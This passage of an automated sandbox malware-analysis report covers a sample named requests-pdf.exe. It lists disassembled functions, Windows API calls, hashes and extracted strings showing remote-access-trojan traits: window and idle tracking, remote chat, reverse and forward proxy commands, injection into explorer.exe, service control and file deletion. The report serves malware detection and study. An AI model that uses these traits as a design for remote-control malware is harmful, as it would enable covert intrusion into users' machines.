                                                    • __Init_thread_footer.LIBCMT ref: 0040A456
                                                    • Sleep.KERNEL32(000001F4), ref: 0040A461
                                                    • GetForegroundWindow.USER32 ref: 0040A467
                                                    • GetWindowTextLengthW.USER32(00000000), ref: 0040A470
                                                    • GetWindowTextW.USER32(00000000,00000000,00000000), ref: 0040A4A4
                                                    • Sleep.KERNEL32(000003E8), ref: 0040A574
                                                      • Part of subcall function 00409D58: SetEvent.KERNEL32(00000000,?,00000000,0040A91C,00000000), ref: 00409D84
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: Window$SleepText$EventForegroundInit_thread_footerLength
                                                    • String ID: [${ User has been idle for $ minutes }$]
                                                    • API String ID: 911427763-3954389425
                                                    • Opcode ID: a59f2f13793784003892e63950edf61f9792dfbe12456e4cbfe946a207096c8a
                                                    • Instruction ID: 0ecdfa35f4bf358d0b6072dbfc0ad8fc4f94b2a12b5a089c7f39fa9b67fb4d59
                                                    • Opcode Fuzzy Hash: a59f2f13793784003892e63950edf61f9792dfbe12456e4cbfe946a207096c8a
                                                    • Instruction Fuzzy Hash: C451DF316083005BC614FB21D84AAAE7794BF84318F50493FF846A62E2EF7C9E55C69F
                                                    Function 00413C67 Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 155COMMON
                                                    Download Yara Rule
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID:
                                                    • String ID: 65535$udp
                                                    • API String ID: 0-1267037602
                                                    • Opcode ID: dd6860ede333d1e13d8ba8fd5b9e65b3a11d6160404ba42ca097fcd4ed7c504e
                                                    • Instruction ID: a76ad32841e4dbbb66723cf4e0556afe3febbbe66cdf8f55616d13ac9502c32b
                                                    • Opcode Fuzzy Hash: dd6860ede333d1e13d8ba8fd5b9e65b3a11d6160404ba42ca097fcd4ed7c504e
                                                    • Instruction Fuzzy Hash: 9D4118716083019BD7209F29E905BAB7BD8EF85706F04082FF84197391E76DCEC186AE
                                                    Function 024E3ECE Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 155COMMON
                                                    Download Yara Rule
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432793531.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024D0000, based on PE: false
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_24d0000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID:
                                                    • String ID: 65535$udp
                                                    • API String ID: 0-1267037602
                                                    • Opcode ID: dd6860ede333d1e13d8ba8fd5b9e65b3a11d6160404ba42ca097fcd4ed7c504e
                                                    • Instruction ID: ae8a1cc1a599758acf5c38268d3f23ed58864bf7cd349f35191e6db997ea8e1b
                                                    • Opcode Fuzzy Hash: dd6860ede333d1e13d8ba8fd5b9e65b3a11d6160404ba42ca097fcd4ed7c504e
                                                    • Instruction Fuzzy Hash: B041D331608341ABFB219F69D904B3B7BA8EF85756F04087FF98793391E765C480CA66
                                                    Function 00439361 Relevance: 16.6, APIs: 11, Instructions: 116COMMONLIBRARYCODE
                                                    Download Yara Rule
                                                    APIs
                                                    • MultiByteToWideChar.KERNEL32(?,00000000,00000050,000000FF,00000000,00000000,?,?,?,00401AD8,?,00000050,%Y-%m-%d %H.%M,00000000), ref: 004393B9
                                                    • GetLastError.KERNEL32(?,?,00401AD8,?,00000050,%Y-%m-%d %H.%M,00000000), ref: 004393C6
                                                    • __dosmaperr.LIBCMT ref: 004393CD
                                                    • MultiByteToWideChar.KERNEL32(?,00000000,00000050,000000FF,00000000,00000000,?,?,?,00401AD8,?,00000050,%Y-%m-%d %H.%M,00000000), ref: 004393F9
                                                    • GetLastError.KERNEL32(?,?,?,00401AD8,?,00000050,%Y-%m-%d %H.%M,00000000), ref: 00439403
                                                    • __dosmaperr.LIBCMT ref: 0043940A
                                                    • WideCharToMultiByte.KERNEL32(?,00000000,00000000,000000FF,00000000,?,00000000,00000000,?,?,?,?,?,?,00401AD8,?), ref: 0043944D
                                                    • GetLastError.KERNEL32(?,?,?,?,?,?,00401AD8,?,00000050,%Y-%m-%d %H.%M,00000000), ref: 00439457
                                                    • __dosmaperr.LIBCMT ref: 0043945E
                                                    • _free.LIBCMT ref: 0043946A
                                                    • _free.LIBCMT ref: 00439471
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: ByteCharErrorLastMultiWide__dosmaperr$_free
                                                    • String ID:
                                                    • API String ID: 2441525078-0
                                                    • Opcode ID: ab6d6df52fdda21e78bda597108ea35d8248e36eca260e6751756a241cd45372
                                                    • Instruction ID: 902c93592471d116807dca9985149206a76c62e8192f2f9a6cc20a0486345b12
                                                    • Opcode Fuzzy Hash: ab6d6df52fdda21e78bda597108ea35d8248e36eca260e6751756a241cd45372
                                                    • Instruction Fuzzy Hash: F531F17140820ABBEF11AFA5DC449AF3B78EF09364F14016AF81066291DB79CC12DBA9
                                                    Function 025095C8 Relevance: 16.6, APIs: 11, Instructions: 116COMMONLIBRARYCODE
                                                    Download Yara Rule
                                                    APIs
                                                    • MultiByteToWideChar.KERNEL32(?,00000000,00000050,000000FF,00000000,00000000,?,?,?,024D1D3F,?,00000050,00465290,00000000), ref: 02509620
                                                    • GetLastError.KERNEL32(?,?,024D1D3F,?,00000050,00465290,00000000), ref: 0250962D
                                                    • __dosmaperr.LIBCMT ref: 02509634
                                                    • MultiByteToWideChar.KERNEL32(?,00000000,00000050,000000FF,00000000,00000000,?,?,?,024D1D3F,?,00000050,00465290,00000000), ref: 02509660
                                                    • GetLastError.KERNEL32(?,?,?,024D1D3F,?,00000050,00465290,00000000), ref: 0250966A
                                                    • __dosmaperr.LIBCMT ref: 02509671
                                                    • WideCharToMultiByte.KERNEL32(?,00000000,00000000,000000FF,00000000,00465290,00000000,00000000,?,?,?,?,?,?,024D1D3F,?), ref: 025096B4
                                                    • GetLastError.KERNEL32(?,?,?,?,?,?,024D1D3F,?,00000050,00465290,00000000), ref: 025096BE
                                                    • __dosmaperr.LIBCMT ref: 025096C5
                                                    • _free.LIBCMT ref: 025096D1
                                                    • _free.LIBCMT ref: 025096D8
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432793531.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024D0000, based on PE: false
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_24d0000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: ByteCharErrorLastMultiWide__dosmaperr$_free
                                                    • String ID:
                                                    • API String ID: 2441525078-0
                                                    • Opcode ID: 7dca9c723f0a3f3e5eee78a7163c4708e0db19878e5bf6bf14be5ff931373868
                                                    • Instruction ID: 8f3a32c1793ae6486f809b657b8c0f37c2674329ae2cc92189e16c1f9676a7bc
                                                    • Opcode Fuzzy Hash: 7dca9c723f0a3f3e5eee78a7163c4708e0db19878e5bf6bf14be5ff931373868
                                                    • Instruction Fuzzy Hash: 16319C7280524ABBDF116FE5DC889AE3F6AFF80764F140169F82056195EB31C910DB69
                                                    Function 024E89BB Relevance: 15.9, APIs: 1, Strings: 8, Instructions: 197COMMON
                                                    Download Yara Rule
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432793531.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024D0000, based on PE: false
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_24d0000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID:
                                                    • String ID: 0$1$2$3$4$5$6$7
                                                    • API String ID: 0-3177665633
                                                    • Opcode ID: cde1b3d257b3b84ac0aca3a867a652d949c29c2e455d7912b36e5a4a136b74f3
                                                    • Instruction ID: 1b95a417915c68e78bd6b5c9e09cce8a38c941f3f0143d2d69efc39cbc8e34cb
                                                    • Opcode Fuzzy Hash: cde1b3d257b3b84ac0aca3a867a652d949c29c2e455d7912b36e5a4a136b74f3
                                                    • Instruction Fuzzy Hash: C261A071589301AEEB00EF21D861AAF77E5BF96711F40484EF5D2572E1DB709A08CBA3
                                                    Function 00404E52 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 155windowmemoryCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • SetEvent.KERNEL32(?,?), ref: 00404E71
                                                    • GetMessageA.USER32(?,00000000,00000000,00000000), ref: 00404F21
                                                    • TranslateMessage.USER32(?), ref: 00404F30
                                                    • DispatchMessageA.USER32(?), ref: 00404F3B
                                                    • HeapCreate.KERNEL32(00000000,00000000,00000000,00000074,00473F80), ref: 00404FF3
                                                    • HeapFree.KERNEL32(00000000,00000000,0000003B,0000003B,?,00000000), ref: 0040502B
                                                      • Part of subcall function 00404468: send.WS2_32(?,00000000,00000000,00000000), ref: 004044FD
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: Message$Heap$CreateDispatchEventFreeTranslatesend
                                                    • String ID: CloseChat$DisplayMessage$GetMessage
                                                    • API String ID: 2956720200-749203953
                                                    • Opcode ID: 0622db17b8ffedd3531a9fa1e5e3f576bb625bfe4daf1fd40acc4f0bc4360242
                                                    • Instruction ID: a70547b48422ce96676d24762269450ce3f1821fc9982c67352fb5fd346d99ba
                                                    • Opcode Fuzzy Hash: 0622db17b8ffedd3531a9fa1e5e3f576bb625bfe4daf1fd40acc4f0bc4360242
                                                    • Instruction Fuzzy Hash: F741BFB16043016BC714FB75DC5A8AE77A9ABC1714F40093EF906A31E6EF38DA05C79A
                                                    Function 024D50B9 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 155windowmemoryCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • SetEvent.KERNEL32(?,?), ref: 024D50D8
                                                    • GetMessageA.USER32(?,00000000,00000000,00000000), ref: 024D5188
                                                    • TranslateMessage.USER32(?), ref: 024D5197
                                                    • DispatchMessageA.USER32(?), ref: 024D51A2
                                                    • HeapCreate.KERNEL32(00000000,00000000,00000000,00000074,00473F80), ref: 024D525A
                                                    • HeapFree.KERNEL32(00000000,00000000,0000003B,0000003B,?,00000000), ref: 024D5292
                                                      • Part of subcall function 024D46CF: send.WS2_32(?,00000000,00000000,00000000), ref: 024D4764
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432793531.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024D0000, based on PE: false
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_24d0000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: Message$Heap$CreateDispatchEventFreeTranslatesend
                                                    • String ID: CloseChat$DisplayMessage$GetMessage
                                                    • API String ID: 2956720200-749203953
                                                    • Opcode ID: 0622db17b8ffedd3531a9fa1e5e3f576bb625bfe4daf1fd40acc4f0bc4360242
                                                    • Instruction ID: b2a5aea80791711773fb93806d90a655159cd0d94533301739d29e223b2de10a
                                                    • Opcode Fuzzy Hash: 0622db17b8ffedd3531a9fa1e5e3f576bb625bfe4daf1fd40acc4f0bc4360242
                                                    • Instruction Fuzzy Hash: 4E41C1316043016BCB15FB35DC6886F3BAAAF86710F80492EF916871A4EF74DA05CF52
                                                    Function 00416E27 Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 107filesynchronizationCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • WaitForSingleObject.KERNEL32(00000000,000000FF,00000070,00465554), ref: 00416F24
                                                    • CloseHandle.KERNEL32(00000000), ref: 00416F2D
                                                    • DeleteFileA.KERNEL32(00000000), ref: 00416F3C
                                                    • ShellExecuteEx.SHELL32(0000003C), ref: 00416EF0
                                                      • Part of subcall function 00404468: send.WS2_32(?,00000000,00000000,00000000), ref: 004044FD
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: CloseDeleteExecuteFileHandleObjectShellSingleWaitsend
                                                    • String ID: <$@$@FG$@FG$Temp
                                                    • API String ID: 1107811701-2245803885
                                                    • Opcode ID: 248dd396e914dd493217af7d7ad54a5765675a85d7a0f101f9c1831ea090813b
                                                    • Instruction ID: 21bac8b1790940aaec7d6d8591dec239f7d6dde33bc15b5890dc9a9e7f2861e5
                                                    • Opcode Fuzzy Hash: 248dd396e914dd493217af7d7ad54a5765675a85d7a0f101f9c1831ea090813b
                                                    • Instruction Fuzzy Hash: E8319C319002099BCB04FBA1DC56AFE7775AF50308F00417EF906760E2EF785A8ACB99
                                                    Function 024E708E Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 107filesynchronizationCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • WaitForSingleObject.KERNEL32(00000000,000000FF,00000070,00465554), ref: 024E718B
                                                    • CloseHandle.KERNEL32(00000000), ref: 024E7194
                                                    • DeleteFileA.KERNEL32(00000000), ref: 024E71A3
                                                    • ShellExecuteEx.SHELL32(0000003C), ref: 024E7157
                                                      • Part of subcall function 024D46CF: send.WS2_32(?,00000000,00000000,00000000), ref: 024D4764
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432793531.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024D0000, based on PE: false
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_24d0000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: CloseDeleteExecuteFileHandleObjectShellSingleWaitsend
                                                    • String ID: <$@$@FG$@FG$TUF
                                                    • API String ID: 1107811701-3315534519
                                                    • Opcode ID: c09cddb986173b223f0ae78b0a5cb3d5da982f6b9b7ae30d07bc44f4aa3a3996
                                                    • Instruction ID: a198e67c06a7b55367fcfdbb2a2d5288beb603ab385f0aa217dfe7e3e50914de
                                                    • Opcode Fuzzy Hash: c09cddb986173b223f0ae78b0a5cb3d5da982f6b9b7ae30d07bc44f4aa3a3996
                                                    • Instruction Fuzzy Hash: 9031EA31A002099BDF05FB65DC65BFEB736AF40311F40816EEA06661D1EFB45A86CF90
                                                    Function 00406616 Relevance: 15.8, APIs: 2, Strings: 7, Instructions: 98COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • GetCurrentProcess.KERNEL32(00474A28,00000000,BG3i@,00003000,00000004,00000000,00000001), ref: 00406647
                                                    • GetCurrentProcess.KERNEL32(00474A28,00000000,00008000,?,00000000,00000001,00000000,004068BB,C:\Users\user\Desktop\requests-pdf.exe), ref: 00406705
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: CurrentProcess
                                                    • String ID: PEB: %x$[+] NtAllocateVirtualMemory Success$[-] NtAllocateVirtualMemory Error$\explorer.exe$explorer.exe$windir$BG3i@
                                                    • API String ID: 2050909247-4145329354
                                                    • Opcode ID: ae628e6cf13d6acf56a74fe03314e9eaaf54e5537fc186528355c397fff7ef9b
                                                    • Instruction ID: 423827b33d6c667fb1d0fc3afb55bdad30249121d517be796f0b9763ce16cf58
                                                    • Opcode Fuzzy Hash: ae628e6cf13d6acf56a74fe03314e9eaaf54e5537fc186528355c397fff7ef9b
                                                    • Instruction Fuzzy Hash: B2310871250700AFC300AB65EC45F6A37B8EB84716F11043EF50AE76E1EB79A8508B6D
                                                    Function 00419C85 Relevance: 15.1, APIs: 10, Instructions: 66serviceCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • OpenSCManagerW.ADVAPI32(00000000,00000000,00000011,00000000,?,?,?,?,?,?,004195F8,00000000,00000000), ref: 00419C94
                                                    • OpenServiceW.ADVAPI32(00000000,00000000,000F003F,?,?,?,?,?,?,004195F8,00000000,00000000), ref: 00419CAB
                                                    • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,004195F8,00000000,00000000), ref: 00419CB8
                                                    • ControlService.ADVAPI32(00000000,00000001,?,?,?,?,?,?,?,004195F8,00000000,00000000), ref: 00419CC7
                                                    • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,004195F8,00000000,00000000), ref: 00419CD8
                                                    • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,004195F8,00000000,00000000), ref: 00419CDB
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: Service$CloseHandle$Open$ControlManager
                                                    • String ID:
                                                    • API String ID: 221034970-0
                                                    • Opcode ID: 90cb661901cd042af288c915e3e3b558208b36f008bb68e694e16de296acffd5
                                                    • Instruction ID: aaf019a9b49167a30595a2ca3c371567d0eeee9026f0995440eeab6e66ec65be
                                                    • Opcode Fuzzy Hash: 90cb661901cd042af288c915e3e3b558208b36f008bb68e694e16de296acffd5
                                                    • Instruction Fuzzy Hash: 00118632901218AFD7116B64EC85DFF3FACDB45BA5B000036F502921D1DB64DD46AAF5
                                                    Function 00446DCB Relevance: 15.1, APIs: 10, Instructions: 54COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • _free.LIBCMT ref: 00446DDF
                                                      • Part of subcall function 00446AC5: HeapFree.KERNEL32(00000000,00000000,?,0044FA50,?,00000000,?,00000000,?,0044FCF4,?,00000007,?,?,00450205,?), ref: 00446ADB
                                                      • Part of subcall function 00446AC5: GetLastError.KERNEL32(?,?,0044FA50,?,00000000,?,00000000,?,0044FCF4,?,00000007,?,?,00450205,?,?), ref: 00446AED
                                                    • _free.LIBCMT ref: 00446DEB
                                                    • _free.LIBCMT ref: 00446DF6
                                                    • _free.LIBCMT ref: 00446E01
                                                    • _free.LIBCMT ref: 00446E0C
                                                    • _free.LIBCMT ref: 00446E17
                                                    • _free.LIBCMT ref: 00446E22
                                                    • _free.LIBCMT ref: 00446E2D
                                                    • _free.LIBCMT ref: 00446E38
                                                    • _free.LIBCMT ref: 00446E46
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: _free$ErrorFreeHeapLast
                                                    • String ID:
                                                    • API String ID: 776569668-0
                                                    • Opcode ID: 97a3f4e44069bc11c8e401312368c96959fa26c4fc1008248271593ee2688753
                                                    • Instruction ID: b6db37451886405a3c03f61b360184b61b1678451e8b30ee63348233c964278a
                                                    • Opcode Fuzzy Hash: 97a3f4e44069bc11c8e401312368c96959fa26c4fc1008248271593ee2688753
                                                    • Instruction Fuzzy Hash: F011E975100408BFEB01EF55C842CDD3B65EF46354B06C0AAF9086F222DA35DE649F85
                                                    Function 02517032 Relevance: 15.1, APIs: 10, Instructions: 54COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • _free.LIBCMT ref: 02517046
                                                      • Part of subcall function 02516D2C: HeapFree.KERNEL32(00000000,00000000,?,0251FCB7,?,00000000,?,00000000,?,0251FF5B,?,00000007,?,?,0252046C,?), ref: 02516D42
                                                      • Part of subcall function 02516D2C: GetLastError.KERNEL32(?,?,0251FCB7,?,00000000,?,00000000,?,0251FF5B,?,00000007,?,?,0252046C,?,?), ref: 02516D54
                                                    • _free.LIBCMT ref: 02517052
                                                    • _free.LIBCMT ref: 0251705D
                                                    • _free.LIBCMT ref: 02517068
                                                    • _free.LIBCMT ref: 02517073
                                                    • _free.LIBCMT ref: 0251707E
                                                    • _free.LIBCMT ref: 02517089
                                                    • _free.LIBCMT ref: 02517094
                                                    • _free.LIBCMT ref: 0251709F
                                                    • _free.LIBCMT ref: 025170AD
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432793531.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024D0000, based on PE: false
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_24d0000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: _free$ErrorFreeHeapLast
                                                    • String ID:
                                                    • API String ID: 776569668-0
                                                    • Opcode ID: 97a3f4e44069bc11c8e401312368c96959fa26c4fc1008248271593ee2688753
                                                    • Instruction ID: 7d3701f30f774f5e9fc30825c2cfcd988f1a862def4d0666531b6cff26755df5
                                                    • Opcode Fuzzy Hash: 97a3f4e44069bc11c8e401312368c96959fa26c4fc1008248271593ee2688753
                                                    • Instruction Fuzzy Hash: 0911747650010DAFDB41EFA5D841CD93FBAFF44350B5151A9BA088F221DA32EE50DF88
                                                    Function 024E1EE8 Relevance: 14.5, APIs: 4, Strings: 4, Instructions: 479fileCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • GetModuleFileNameW.KERNEL32(00000000,?,00000104), ref: 024E1F01
                                                      • Part of subcall function 024EAD9F: GetCurrentProcessId.KERNEL32(00000000,?,?,?,?,?,?,024D3CA7), ref: 024EADC6
                                                      • Part of subcall function 024E791D: CloseHandle.KERNEL32(024D3D20,?,?,024D3D20,00465324), ref: 024E7933
                                                      • Part of subcall function 024E791D: CloseHandle.KERNEL32($SF,?,?,024D3D20,00465324), ref: 024E793C
                                                    • DeleteFileW.KERNEL32(00000000,00465324,00465324,00465324), ref: 024E21F8
                                                    • DeleteFileW.KERNEL32(00000000,00465324,00465324,00465324), ref: 024E222F
                                                    • DeleteFileW.KERNEL32(00000000,00465324,00465324,00465324), ref: 024E226B
                                                      • Part of subcall function 024D46CF: send.WS2_32(?,00000000,00000000,00000000), ref: 024D4764
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432793531.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024D0000, based on PE: false
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_24d0000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: File$Delete$CloseHandle$CurrentModuleNameProcesssend
                                                    • String ID: HDG$HDG$>G$>G
                                                    • API String ID: 1937857116-1666402509
                                                    • Opcode ID: 36ecec2bd287229840889fa2f21ce4d309759ff1e99f2e4f361d0ee51ee9b760
                                                    • Instruction ID: 4734188f7d95b26c54cd2ec36d2c9f6a4e4edffa71472f4f97eb18cf9c19a3ee
                                                    • Opcode Fuzzy Hash: 36ecec2bd287229840889fa2f21ce4d309759ff1e99f2e4f361d0ee51ee9b760
                                                    • Instruction Fuzzy Hash: CF0223311483414BD72AFB61D874BEFB3E6AFD4300F50486FE98A47295EEB05A49CE52
                                                    Function 00410314 Relevance: 14.2, APIs: 2, Strings: 6, Instructions: 192COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: Eventinet_ntoa
                                                    • String ID: GetDirectListeningPort$StartForward$StartReverse$StopForward$StopReverse$>G
                                                    • API String ID: 3578746661-4192532303
                                                    • Opcode ID: a05e0ddbe8dc3814f036cc210c9733109e43822c73ea3fc4ff0ab9c9ada38e94
                                                    • Instruction ID: 9533851bb4e74ac183efc1d320b4a1154e984465ef7073577260c431c5a81f81
                                                    • Opcode Fuzzy Hash: a05e0ddbe8dc3814f036cc210c9733109e43822c73ea3fc4ff0ab9c9ada38e94
                                                    • Instruction Fuzzy Hash: E8518471A042009BC714F779D85AAAE36A59B80318F40453FF849972E2DF7CAD85CB9F
                                                    Function 024E057B Relevance: 14.2, APIs: 2, Strings: 6, Instructions: 192COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432793531.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024D0000, based on PE: false
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_24d0000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: Eventinet_ntoa
                                                    • String ID: GetDirectListeningPort$StartForward$StartReverse$StopForward$StopReverse$>G
                                                    • API String ID: 3578746661-4192532303
                                                    • Opcode ID: a05e0ddbe8dc3814f036cc210c9733109e43822c73ea3fc4ff0ab9c9ada38e94
                                                    • Instruction ID: 544c75c551e31fc5425c13352ced9a84625d1c6b26c12e05b3ddd1531782ad83
                                                    • Opcode Fuzzy Hash: a05e0ddbe8dc3814f036cc210c9733109e43822c73ea3fc4ff0ab9c9ada38e94
                                                    • Instruction Fuzzy Hash: D251F771A042405BDB24FB39D869B6E36A6AFC0301F40452FE81B972E1EFB49D45CF86
                                                    Function 024EA422 Relevance: 14.2, APIs: 6, Strings: 2, Instructions: 180synchronizationCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • mciSendStringW.WINMM(00000000,00000000,00000000,00000000), ref: 024EA519
                                                    • CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,000000A9,00465554), ref: 024EA555
                                                    • PathFileExistsW.SHLWAPI(00000000,00000000,00000000,?,00000000), ref: 024EA566
                                                    • SetEvent.KERNEL32 ref: 024EA5F1
                                                    • WaitForSingleObject.KERNEL32(000001F4), ref: 024EA602
                                                    • CloseHandle.KERNEL32 ref: 024EA612
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432793531.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024D0000, based on PE: false
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_24d0000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: Event$CloseCreateExistsFileHandleObjectPathSendSingleStringWait
                                                    • String ID: TUF$open "
                                                    • API String ID: 1811012380-2979349893
                                                    • Opcode ID: afa000e900512d794b59872f8fe6b6e7421b33da501b9bd85e28326864c8fc87
                                                    • Instruction ID: 0c89c4d7ca3d08bf67da8f81b3e3c9d21c64314bc887dc7fad25cfccef32b67b
